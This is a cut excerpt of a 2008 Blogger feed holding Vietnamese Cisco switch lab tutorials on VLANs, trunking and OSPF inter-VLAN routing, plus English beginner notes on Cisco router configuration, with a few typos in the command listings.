Fa0/14, Fa0/15, Fa0/16&lt;br /&gt;Fa0/17, Fa0/18, Fa0/19, Fa0/20&lt;br /&gt;Fa0/21, Fa0/22, Fa0/23, Fa0/24&lt;br /&gt;Gi0/1, Gi0/2&lt;br /&gt;1002 fddi-default active&lt;br /&gt;1003 token-ring-default active&lt;br /&gt;1004 fddinet-default active&lt;br /&gt;1005 trnet-default active&lt;br /&gt;&lt;br /&gt;VLAN Type SAID MTU Parent RingNo BridgeNo Stp BrdgMode Trans1 Trans2&lt;br /&gt;---- ----- ---------- ----- ------ ------ -------- ---- -------- ------ ------&lt;br /&gt;1 enet 100001 1500 - - - - - 0 0&lt;br /&gt;1002 fddi 101002 1500 - - - - - 0 0&lt;br /&gt;1003 tr 101003 1500 - - - - - 0 0&lt;br /&gt;1004 fdnet 101004 1500 - - - ieee - 0 0&lt;br /&gt;1005 trnet 101005 1500 - - - ibm - 0 0&lt;br /&gt;Remote SPAN VLANs&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;Primary Secondary Type Ports&lt;br /&gt;------- --------- ----------------- ------------------------------------------&lt;br /&gt;Mặc định trên Switch chỉ có Vlan 1 với tất cả các port đều nằm trong Vlan này, Vlan 1002 dành riêng cho FDDI, Vlan 1003 dành riêng cho TOKEN-RING…Có hai cách tạo thêm Vlan&lt;br /&gt;Cách 1:Thao tác trên Vlan database&lt;br /&gt;Vnpro#vlan database&lt;br /&gt;Vnpro(vlan)#vtp domain Chuyenviet&lt;br /&gt;Changing VTP domain name from NULL to Chuyenviet&lt;br /&gt;Vnpro(vlan)#vtp server&lt;br /&gt;Setting device to VTP SERVER mode.&lt;br /&gt;Vnpro(vlan)#vlan 10 name Admin&lt;br /&gt;VLAN 10 added:&lt;br /&gt;Name: Admin&lt;br /&gt;Vnpro(vlan)#vlan 20 name User&lt;br /&gt;VLAN 20 added:&lt;br /&gt;Name: User&lt;br /&gt;Vnpro(vlan)#apply&lt;br /&gt;APPLY completed.&lt;br /&gt;Vnpro(vlan)#exit&lt;br /&gt;APPLY completed.&lt;br /&gt;Exiting....&lt;br /&gt;Cách 2: Tưong tác trực tiếp đến Vlan cần tạo ra&lt;br /&gt;Vnpro(config)#interface vlan 10&lt;br /&gt;Vnpro(config-if)#exit&lt;br /&gt;Vnpro(config)#&lt;br /&gt;Vnpro(config)#interface vlan 20&lt;br /&gt;Vnpro(config-if)#exit&lt;br /&gt;Vnpro(config)#&lt;br /&gt;Để gán các port vào các Vlan, thực hiện các bước sau:&lt;br /&gt;Ví dụ ta cần gán các port fastethernet 2 vào Vlan 10, port fastetehnet 3 vào Vlan 20&lt;br /&gt;Vnpro(config)#interface fastethernet0/2&lt;br /&gt;Vnpro(config-if-range)#switchport access vlan 10&lt;br /&gt;Vnpro(config-if-range)#exit&lt;br /&gt;Vnpro(config)#interface fastethernet0/3&lt;br /&gt;Vnpro(config-if-range)#switchport access vlan 20&lt;br /&gt;Vnpro(config-if-range)#exit&lt;br /&gt;Kiểm tra lại cấu hình Vlan&lt;br /&gt;Vnpro#show vlan&lt;br /&gt;VLAN Name Status Ports&lt;br /&gt;---- -------------------------------- --------- -------------------------------&lt;br /&gt;1 default active Fa0/1, Fa0/4, Fa0/5, Fa0/6&lt;br /&gt;Fa0/7, Fa0/8, Fa0/9, Fa0/10&lt;br /&gt;Fa0/11, Fa0/12, Fa0/13, Fa0/14&lt;br /&gt;Fa0/15, Fa0/16, Fa0/17, Fa0/18&lt;br /&gt;Fa0/19, Fa0/20, Fa0/21, Fa0/22&lt;br /&gt;Fa0/23, Fa0/24, Gi0/1, Gi0/2&lt;br /&gt;10 Admin active Fa0/2&lt;br /&gt;20 User active Fa0/3&lt;br /&gt;1002 fddi-default active&lt;br /&gt;1003 token-ring-default active&lt;br /&gt;1004 fddinet-default active&lt;br /&gt;1005 trnet-default active&lt;br /&gt;Cấu hình IP cho interface Vlan: các interface Vlan được cấu hình IP chỉ mang tính chất luận lý. IP này phục vụ cho việc quản lý, địa chỉ IP luận lý này còn có thể dùng để telnet vào Switch từ xa và chạy các ứng dụng SNMP.&lt;br /&gt;Vnpro#config terminal&lt;br /&gt;Enter configuration commands, one per line. End with CNTL/Z.&lt;br /&gt;Vnpro(config)#interface vlan 10&lt;br /&gt;Vnpro(config-if)#ip address 10.0.0.1 255.255.255.0&lt;br /&gt;Vnpro(config-if)#no shutdown&lt;br /&gt;Vnpro(config-if)#^Z&lt;br /&gt;00:14:43: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan10, changed state to down&lt;br /&gt;00:14:43: %SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Lưu cấu hình vào NVRAM&lt;br /&gt;Vnpro#copy running-config startup-config&lt;br /&gt;Destination filename [startup-config]?&lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;Cần chú ý gán default-gateway cho switch bằng câu lệnh&lt;br /&gt;VnPro#ip default-gateway 10.0.0.100&lt;br /&gt;Địa chỉ 10.0.0.100 có thể dùng là địa chỉ của PC được dùng để telnet vào switch. &lt;br /&gt;&lt;br /&gt;url:http://vnpro.org/forum/showthread.php?t=5560&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-5074142539787986544?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/5074142539787986544/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=5074142539787986544' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5074142539787986544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5074142539787986544'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/10/cu-hnh-switch-c-bn.html' title='Cấu hình switch cơ bản'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-924151495881544696</id><published>2008-10-01T22:02:00.000-07:00</published><updated>2008-10-01T22:03:11.259-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VLAN'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Switch'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Router'/><category scheme='http://www.blogger.com/atom/ns#' term='Trunk'/><title type='text'>Lab 6-1: Cấu hình vlan và trunk</title><content type='html'>Lab 6-1: Cấu hình vlan và trunk&lt;br /&gt;&lt;br /&gt;MultiLayer Sitching &amp; InterVlan Routing&lt;br /&gt;&lt;br /&gt;http://vnpro.org/forum/files/labswitching/lab61/lab61-1.JPG&lt;br /&gt;&lt;br /&gt;Mô tả đặc tính hoạt động đa lớp (Multilayer) của dòng sản phẩm Catalyst 3550 của Cisco Access Layer Switch (ALSwitch). Chia switch thành các Vlan1, Vlan 10, Vlan 20 phân phối cho từng nhóm người dùng. Thông thường các Vlan hoạt động ở lớp liên kết dữ liệu (Data-link Layer). Các Vlan này xem như thuộc các Broadcast Domain khác nhau, không thể nói chuyện với nhau được (mặc dù cùng kết nối vật lý đến ALSwitch). Các Vlan muốn nói chuyện với nhau phải thông qua một External Router có chức năng định tuyến. Trong phạm vi bài Lab này, sử dụng khả năng Multilayer Switching của Catalyst 3550 để định tuyến giữa các vlan cũng như giữa các Vlan với Remote office kết nối bởi Remote router. Trong trường hợp này Catalyst 3550 có khả năng hoạt động như một External Router.&lt;br /&gt;Yêu cầu thiết bị: Remote router: Cisco 2600 (có cổng FastEthernet). Distribute Layer Switch (DLSwitch): Catalyst 3550. Access Layer Switch (ALSwitch): Catalyst 2900 trở lên (vì cấu hình Trunking đòi hỏi thiết bị hỗ trợ FastEthernet). Các máy trạm kết nối vào các Vlan phục vụ việc kiểm tra cấu hình và các tính năng định tuyến.&lt;br /&gt;Để triển khai tính năng MultiLayer Switching (MLS):&lt;br /&gt;Giai đoạn 1: Thiết lập các cấu hình cơ sở bao gồm: chia Vlan, Trunking giữa các switch.&lt;br /&gt;Giai đoạn 2: Cấu hình cho Catalyst 3550 (DLSwitch) hoạt động ở chế độ MLS, cấu hình các giao thức định tuyến trên Router. Trong phạm vi bài Lab này, dùng giao thức định tuyến OSPF. Trước khi triền khai bài Lab, nên xoá tất cả cấu hình cũ trên Switch và Router để tránh các ảnh hưởng đến hoạt động của hệ thống&lt;br /&gt;Tiến hành giai đoạn:&lt;br /&gt;DLSwitch và ALSwitch kết nối với nhau qua đường Trunk. Hai Switch này cùng một VTP domain, chia thành các Vlan gồm: Vlan 1 (Native), Vlan 10 (Admin), Vlan 20 (User).&lt;br /&gt;Cấu hình trên DLSwitch&lt;br /&gt;Cấu hình các thông số cơ bản: gồm tên, các loại password:&lt;br /&gt;Switch&gt;enable&lt;br /&gt;Switch#config terminal&lt;br /&gt;Enter configuration commands, one per line. End with CNTL/Z.&lt;br /&gt;Switch(config)#hostname DLSwitch&lt;br /&gt;DLSwitch(config)#enable password cisco&lt;br /&gt;DLSwitch(config)#enable secret vnpro&lt;br /&gt;DLSwitch(config)#line vty 0 15&lt;br /&gt;DLSwitch(config-line)#password cisco&lt;br /&gt;DLSwitch(config-line)#login&lt;br /&gt;DLSwitch(config-line)#^Z&lt;br /&gt;00:15:08: %SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Cấu hình Vlan và Trunking:&lt;br /&gt;DLSwitch#vlan database&lt;br /&gt;DLSwitch(vlan)#vtp domain Vnpro&lt;br /&gt;Changing VTP domain name from NULL to Vnpro&lt;br /&gt;DLSwitch(vlan)#vtp server&lt;br /&gt;Device mode already VTP SERVER.&lt;br /&gt;DLSwitch(vlan)#vlan 10 name Admin&lt;br /&gt;VLAN 10 added:&lt;br /&gt;Name: Admin&lt;br /&gt;DLSwitch(vlan)#vlan 20 name User&lt;br /&gt;VLAN 20 added:&lt;br /&gt;Name: User&lt;br /&gt;DLSwitch(vlan)#apply&lt;br /&gt;APPLY completed.&lt;br /&gt;DLSwitch(vlan)#exit&lt;br /&gt;APPLY completed.&lt;br /&gt;Exiting....&lt;br /&gt;DLSwitch#config terminal&lt;br /&gt;Enter configuration commands, one per line. End with CNTL/Z.&lt;br /&gt;DLSwitch(config)#interface vlan 1&lt;br /&gt;DLSwitch(config-if)#ip address 192.168.1.1 255.255.255.0&lt;br /&gt;DLSwitch(config-if)#no shutdown&lt;br /&gt;DLSwitch(config-if)#exit&lt;br /&gt;00:17:26: %LINK-3-UPDOWN: Interface Vlan1, changed state to up&lt;br /&gt;DLSwitch(config)#interface vlan 10&lt;br /&gt;DLSwitch(config-if)#ip address 192.168.10.1 255.255.255.0&lt;br /&gt;DLSwitch(config-if)#no shutdown&lt;br /&gt;00:18:20: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan10, changed state to down&lt;br /&gt;DLSwitch(config-if)#exit&lt;br /&gt;DLSwitch(config)#interface vlan 20&lt;br /&gt;DLSwitch(config-if)#ip address 192.168.20.1 255.255.255.0&lt;br /&gt;DLSwitch(config-if)#no shutdown&lt;br /&gt;00:19:06: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan20, changed state to down&lt;br /&gt;DLSwitch(config-if)#exit&lt;br /&gt;DLSwitch(config)#interface FastEthernet 0/1&lt;br /&gt;DLSwitch(config-if)#switchport trunk encapsulation dot1q&lt;br /&gt;DLSwitch(config-if)#switchport mode trunk&lt;br /&gt;DLSwitch(config-if)#^Z&lt;br /&gt;00:20:11: %SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Kiểm tra thông tin Vlan mới:&lt;br /&gt;DLSwitch#show vlan&lt;br /&gt;VLAN Name Status Ports&lt;br /&gt;---- -------------------------------- --------- -------------------------------&lt;br /&gt;1 default active Fa0/2, Fa0/3, Fa0/4, Fa0/5&lt;br /&gt;Fa0/6, Fa0/7, Fa0/8, Fa0/9&lt;br /&gt;Fa0/10, Fa0/11, Fa0/12, Fa0/13&lt;br /&gt;Fa0/14, Fa0/15, Fa0/16, Fa0/17&lt;br /&gt;Fa0/18, Fa0/19, Fa0/20, Fa0/21&lt;br /&gt;Fa0/22, Fa0/23, Fa0/24, Gi0/1&lt;br /&gt;Gi0/2&lt;br /&gt;10 Admin active&lt;br /&gt;20 User active&lt;br /&gt;1002 fddi-default act/unsup&lt;br /&gt;1003 token-ring-default act/unsup&lt;br /&gt;1004 fddinet-default act/unsup&lt;br /&gt;1005 trnet-default act/unsup&lt;br /&gt;Cấu hình trên ALSwitch&lt;br /&gt;Cấu hình các thông số cơ bản: gồm tên, các loại password:&lt;br /&gt;Switch&gt;enable&lt;br /&gt;Switch#config terminal&lt;br /&gt;Enter configuration commands, one per line. End with CNTL/Z.&lt;br /&gt;Switch(config)#hostname ALSwitch&lt;br /&gt;ALSwitch(config)#enable password cisco&lt;br /&gt;ALSwitch(config)#enable secret vnpro&lt;br /&gt;ALSwitch(config)#line vty 0 4&lt;br /&gt;ALSwitch(config-line)#password cisco&lt;br /&gt;ALSwitch(config-line)#login&lt;br /&gt;ALSwitch(config-line)#^Z&lt;br /&gt;00:07:40: %SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Cấu hình Vlan và Trunking&lt;br /&gt;Chỉ cần cấu hình Trunking, sau đó đưa ALSwitch vào cùng VTP domain Vnpro ở mode client, ALSwitch sẽ tự động học thông tin Vlan từ VTP server (DLSwitch).&lt;br /&gt;ALSwitch#vlan database&lt;br /&gt;ALSwitch(vlan)#vtp domain Vnpro&lt;br /&gt;Changing VTP domain name from NULL to Vnpro&lt;br /&gt;ALSwitch(vlan)#vtp client&lt;br /&gt;Setting device to VTP CLIENT mode.&lt;br /&gt;ALSwitch(vlan)#exit&lt;br /&gt;In CLIENT state, no apply attempted.&lt;br /&gt;Exiting....&lt;br /&gt;ALSwitch#config terminal&lt;br /&gt;Enter configuration commands, one per line. End with CNTL/Z.&lt;br /&gt;ALSwitch(config)#interface FastEthernet 0/1&lt;br /&gt;ALSwitch(config-if)#switchport trunk encapsulation dot1q&lt;br /&gt;ALSwitch(config-if)#switchport mode trunk&lt;br /&gt;ALSwitch(config-if)#exit&lt;br /&gt;ALSwitch(config)#interface range FastEthernet0/4 - 8&lt;br /&gt;ALSwitch(config-if)#switchport access vlan 10&lt;br /&gt;ALSwitch(config-if)#exit&lt;br /&gt;ALSwitch(config)#interface FastEthernet0/9 - 12&lt;br /&gt;ALSwitch(config-if)#switchport access vlan 20&lt;br /&gt;ALSwitch(config-if)#exit&lt;br /&gt;ALSwitch(config)#^Z&lt;br /&gt;ALSwitch#&lt;br /&gt;00:13:00: %SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Kiểm tra thông tin Vlan trên ALSwitch:&lt;br /&gt;ALSwitch#show vlan&lt;br /&gt;VLAN Name Status Ports&lt;br /&gt;---- -------------------------------- --------- -------------------------------&lt;br /&gt;1 default active Fa0/2, Fa0/3&lt;br /&gt;10 Admin active Fa0/4, Fa0/5, Fa0/6, Fa0/7,&lt;br /&gt;Fa0/8&lt;br /&gt;20 User active Fa0/9, Fa0/10, Fa0/11, Fa0/12&lt;br /&gt;1002 fddi-default active&lt;br /&gt;1003 token-ring-default active&lt;br /&gt;1004 fddinet-default active&lt;br /&gt;1005 trnet-default active&lt;br /&gt;&lt;br /&gt;VLAN Type SAID MTU Parent RingNo BridgeNo Stp BrdgMode Trans1 Trans2&lt;br /&gt;---- ----- ---------- ----- ------ ------ -------- ---- -------- ------ ------&lt;br /&gt;1 enet 100001 1500 - - - - - 0 0&lt;br /&gt;10 enet 100010 1500 - - - - - 0 0&lt;br /&gt;20 enet 100020 1500 - - - - - 0 0&lt;br /&gt;1002 fddi 101002 1500 - 0 - - - 0 0&lt;br /&gt;1003 tr 101003 1500 - 0 - - srb 0 0&lt;br /&gt;1004 fdnet 101004 1500 - - - ieee - 0 0&lt;br /&gt;1005 trnet 101005 1500 - - - ibm - 0 0&lt;br /&gt;ALSwitch#&lt;br /&gt;Tiến hành giai đoạn 2:&lt;br /&gt;DLSwitch(config)#interface FastEthernet 0/2&lt;br /&gt;DLSwitch(config-if)#no switchport&lt;br /&gt;DLSwitch(config-if)#ip address 10.200.1.1 255.255.255.0&lt;br /&gt;DLSwitch(config-if)#no shutdown&lt;br /&gt;00:14:35: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/2, changed state to downxit&lt;br /&gt;Lệnh “no switchport” kích hoạt tính năng hoạt động ở lớp 3 cho Catalyst 3550. Lúc này port FastEthernet 0/2 có khả năng hoạt động như một cổng trên Router. Tuy nhiên kết nối giữa DLSwitch và Remote Router qua port này vẫn sử dụng Straight Cable, kết nối giữa DLSwitch và ALSwitch qua port FastEthernet 0/1 dùng Cross Cable. Cấu hình định tuyến:&lt;br /&gt;DLSwitch(config)#ip routing&lt;br /&gt;DLSwitch(config-router)#router ospf 0&lt;br /&gt;DLSwitch(config-router)#network 10.200.0.0 0.0.0.255 area 0&lt;br /&gt;DLSwitch(config-router)#network 192.168.1.0 0.0.0.255 area 0&lt;br /&gt;DLSwitch(config-router)#network 192.168.10.0 0.0.0.255 area 0&lt;br /&gt;DLSwitch(config-router)#network 192.168.20.0 0.0.0.255 area 0&lt;br /&gt;DLSwitch(config-router)#^z&lt;br /&gt;Cấu hình trên Remote Router&lt;br /&gt;Cấu hình các thông số cơ bản:&lt;br /&gt;Router&gt;enable&lt;br /&gt;Router#config terminal&lt;br /&gt;Router(config)#hostname Remote&lt;br /&gt;Remote(config)#enable password cisco&lt;br /&gt;Remote(config)#enable secret vnpro&lt;br /&gt;Remote(config)#line vty 0 4&lt;br /&gt;Remote(config-line)#password cisco&lt;br /&gt;Remote(config-line)#login&lt;br /&gt;Remote(config-line)#exit&lt;br /&gt;Remote(config)#interface interface ethernet0/0&lt;br /&gt;Remote(config-if)#ip address 10.200.1.2 255.255.255.0&lt;br /&gt;Remote(config-if)#no shut&lt;br /&gt;Remote(config-if)#&lt;br /&gt;*Mar 1 00:10:39.175: %LINK-3-UPDOWN: Interface Ethernet0/0, changed state to up&lt;br /&gt;Remote(config-if)#exit&lt;br /&gt;Remote(config)#interface loopback 0&lt;br /&gt;Remote(config-if)#ip address 172.168.0.1 255.255.255.0&lt;br /&gt;Remote(config-if)#no shutdown&lt;br /&gt;Remote(config-if)#exit&lt;br /&gt;*Mar 1 00:11:26.749: %LINEPROTO-5-UPDOWN: Line protocol on Interface Loopback0, changed state to up&lt;br /&gt;Remote(config)#router ospf 1&lt;br /&gt;Remote(config-router)#network 172.168.0.0 0.0.0.255 area 0&lt;br /&gt;Remote(config-router)#network 10.200.1.0 0.0.0.255 area 0&lt;br /&gt;Remote(config-router)#^Z&lt;br /&gt;Mar 1 00:13:35.347: %SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Cấu hình các interface và cấu hình định tuyến&lt;br /&gt;Xem thông tin định tuyến trên DLSwitch&lt;br /&gt;DLSwitch&gt;enable&lt;br /&gt;DLSwitch#show ip route&lt;br /&gt;Gateway of last resort is not set&lt;br /&gt;C 192.168.10.0/24 is directly connected, Vlan10&lt;br /&gt;172.168.0.0/32 is subnetted, 1 subnets&lt;br /&gt;O 172.168.0.1 [110/11] via 10.200.0.2, 00:22:50, FastEthernet0/2&lt;br /&gt;C 192.168.20.0/24 is directly connected, Vlan20&lt;br /&gt;10.0.0.0/24 is subnetted, 1 subnets&lt;br /&gt;C 10.200.0.0 is directly connected, FastEthernet0/2&lt;br /&gt;C 192.168.1.0/24 is directly connected, Vlan1&lt;br /&gt;Xem thông tin bản định tuyến trên Remote router:&lt;br /&gt;DLSwitch#telnet 10.200.0.2&lt;br /&gt;Trying 10.200.0.2 ... Open&lt;br /&gt;User Access Verification&lt;br /&gt;Password: cisco&lt;br /&gt;Remote&gt;enable&lt;br /&gt;Password: vnpro&lt;br /&gt;Remote#show ip route&lt;br /&gt;Gateway of last resort is not set&lt;br /&gt;O 192.168.10.0/24 [110/11] via 10.200.0.1, 00:23:53, Ethernet0/0&lt;br /&gt;172.168.0.0/24 is subnetted, 1 subnets&lt;br /&gt;C 172.168.0.0 is directly connected, Loopback0&lt;br /&gt;O 192.168.20.0/24 [110/11] via 10.200.0.1, 00:23:53, Ethernet0/0&lt;br /&gt;10.0.0.0/24 is subnetted, 1 subnets&lt;br /&gt;C 10.200.0.0 is directly connected, Ethernet0/0&lt;br /&gt;O 192.168.1.0/24 [110/11] via 10.200.0.1, 00:23:53, Ethernet0/0&lt;br /&gt;Kiểm tra tính kết nối bằng cách dùng một máy trạm nối vào một Vlan bất kỳ. Ping thấy&lt;br /&gt;&lt;br /&gt;http://vnpro.org/forum/files/labswitching/lab61/lab61-2.JPG&lt;br /&gt;&lt;br /&gt;interface Looback 0 trên Remote Router. Work Station có địa chỉ truộc về Vlan 10. Với Default Gateway là Mangement IP của Vlan 10. Dùng WorkStation trên Vlan 10 có địa chỉ như trên ping đến Looback 0 trên Remote Router và ghi nhậm kết quả. Kiểm tra khả năng InterVlan Routing bằng cách dùng một Work Station trên Vlan 20 ping dến Work Station trên Vlan 10 và ghi nhận kết quả&lt;br /&gt;&lt;br /&gt;http://vnpro.org/forum/files/labswitching/lab61/lab61-3.JPG&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://vnpro.org/forum/files/labswitching/lab61/lab61-4.JPG&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;url:http://vnpro.org/forum/archive/index.php?t-5642.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-924151495881544696?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/924151495881544696/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=924151495881544696' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/924151495881544696'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/924151495881544696'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/10/lab-6-1-cu-hnh-vlan-v-trunk.html' title='Lab 6-1: Cấu hình vlan và trunk'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-5566741984215719013</id><published>2008-10-01T03:20:00.000-07:00</published><updated>2008-10-01T03:21:04.124-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Router'/><title type='text'>Cisco Routers - Basic notes</title><content type='html'>Cisco Routers - Basic notes&lt;br /&gt;I am playing with Cisco routers now, this are be my notes:&lt;br /&gt;&lt;br /&gt;Internal Components:&lt;br /&gt;&lt;br /&gt;    * RAM. Random access memory. This is the working buffer memory.&lt;br /&gt;    * ROM. Read only memory. contains bootstrap process and basic (most of times) IOS for basic functionality (as recover password)&lt;br /&gt;    * FLASH MEMORY. Stores full image of IOS.--&lt;br /&gt;    * NVRAN. non valitle RAM. Does not loose power when turn off.&lt;br /&gt;    * - start up configuration file&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Boot process:&lt;br /&gt;&lt;br /&gt;    * a. Power on&lt;br /&gt;    * b. Power on Self Test (POST) (check memory, and cards).&lt;br /&gt;    * c. bootstrap from ROM&lt;br /&gt;    * d. looks in FLASH for IOS&lt;br /&gt;    * e. loads the IOS into RAM from FLASH&lt;br /&gt;    * f. IOS looks for configuration in NVRAM&lt;br /&gt;    * f.1 If found it load the IOS into FLASH Memory&lt;br /&gt;    * f.2 If not found executes teh auto setup mode (menu driven system).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Contexts:&lt;br /&gt;router&gt; ----&gt; user mode (show config, telnet, basic)&lt;br /&gt;router# ----&gt; priviliged mode (show commands, pings, save config, backup)&lt;br /&gt;router(config)# ----&gt; global configuraiton mode (configuration interfaces, security, hostname)&lt;br /&gt;Control - Z is to move from global configuration mode to priviliged mode.&lt;br /&gt;&lt;br /&gt;Conectivity:&lt;br /&gt;console port password -----&gt; line con 0&lt;br /&gt;auxiliary port password ---&gt; line aux 0&lt;br /&gt;telnet password -----------&gt; line vty 0 4&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Set up a passwords:&lt;br /&gt;On the glboal configuration mode run the following commands to set up a password for the enable command:&lt;br /&gt;&lt;br /&gt;router(config)# enable password xxxxxxxxxxx (sets the password but it is shown on screen)&lt;br /&gt;router(config)# enable secret xxxxxxxxxxxxx (sets an encrypted enable password, once secret is enabled password by itself don't work anymore)&lt;br /&gt;&lt;br /&gt;To set up password for different access:&lt;br /&gt;&lt;br /&gt;router#&lt;br /&gt;router(config)#line console 0 | line auxiliary 0 | line vty 0 4&lt;br /&gt;router(config-line)# login (to ask for prompt)&lt;br /&gt;router(config-line)# password xxxxxxxxxxxxx (to set up the passwod)&lt;br /&gt;control-Z&lt;br /&gt;&lt;br /&gt;To encrypt all passwords runt the following command:&lt;br /&gt;router(config)service password-encryption&lt;br /&gt;&lt;br /&gt;To set up a banner:&lt;br /&gt;router(config)#banner motd $ message message message $&lt;br /&gt;(Note $ is the delimeter and can be anything, just check to have spaces at the end and beginning)&lt;br /&gt;&lt;br /&gt;Setting up an IP on an ehternet port:&lt;br /&gt;A show running-config shows that I have one fastethernet port not configured, set as:&lt;br /&gt;interface FastEthernet0&lt;br /&gt;no ip address&lt;br /&gt;shutdown&lt;br /&gt;speed auto&lt;br /&gt;&lt;br /&gt;To do this run:&lt;br /&gt;&lt;br /&gt;1721-router#config t ---------&gt; to enter global configuraiton mode&lt;br /&gt;Enter configuration commands, one per line. End with CNTL/Z.&lt;br /&gt;1721-router(config)#interface f0 ----&gt; to enter configuration of fastethernet 0&lt;br /&gt;1721-router(config-if)#ip address 192.168.1.3 255.255.255.0&lt;br /&gt;1721-router(config-if)#no shutdown ----&gt; to activate&lt;br /&gt;1721-router(config-if)#&lt;br /&gt;*Mar 1 07:56:30.838: %LINK-3-UPDOWN: Interface FastEthernet0, changed state top ----&gt; that means I have physical connectivity&lt;br /&gt;*Mar 1 07:56:31.838: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEther,change to up ------&gt; shows I have encapsulation. Connections to another host.&lt;br /&gt;1721-router#ping 192.168.1.1 ----&gt; to test that is working I ping a pc on the network&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.1.1, timeout is 2 seconds:&lt;br /&gt;.!!!!&lt;br /&gt;Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;1721-router#&lt;br /&gt;&lt;br /&gt;To save the configuration:&lt;br /&gt;router#copy running-config start-config ----&gt; for IOS version 12 and above&lt;br /&gt;router#write memmory ---------&gt; before IOS version 12&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;1721-router#copy run star&lt;br /&gt;Destination filename [startup-config]?&lt;br /&gt;Building configuration...&lt;br /&gt;[OK]&lt;br /&gt;1721-router#&lt;br /&gt;&lt;br /&gt;To backup config:&lt;br /&gt;router#copy run tftp --&gt; this copy the running configuration TO the tftp server (will ask for details)&lt;br /&gt;router#copy tftp run/start --&gt; this copy the running configuration FROM the tftp server (will ask for details)&lt;br /&gt;(NOT TESTED YET)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;my passwords:&lt;br /&gt;enable password/secret&lt;br /&gt;console console&lt;br /&gt;aux aux&lt;br /&gt;telnet1-4 telnet&lt;br /&gt;telnet0 telnet0&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-5566741984215719013?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/5566741984215719013/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=5566741984215719013' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5566741984215719013'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5566741984215719013'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/10/cisco-routers-basic-notes.html' title='Cisco Routers - Basic notes'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-3010518913479430268</id><published>2008-10-01T02:15:00.001-07:00</published><updated>2008-10-01T02:15:55.489-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='FileFactory.com'/><category scheme='http://www.blogger.com/atom/ns#' term='Megaupload.com'/><category scheme='http://www.blogger.com/atom/ns#' term='Rapidshare.com'/><category scheme='http://www.blogger.com/atom/ns#' term='Rapidleech'/><title type='text'>Hướng dẫn download Rapidshare bằng Rapidleech</title><content type='html'>Hướng dẫn download Rapidshare bằng Rapidleech&lt;br /&gt;&lt;br 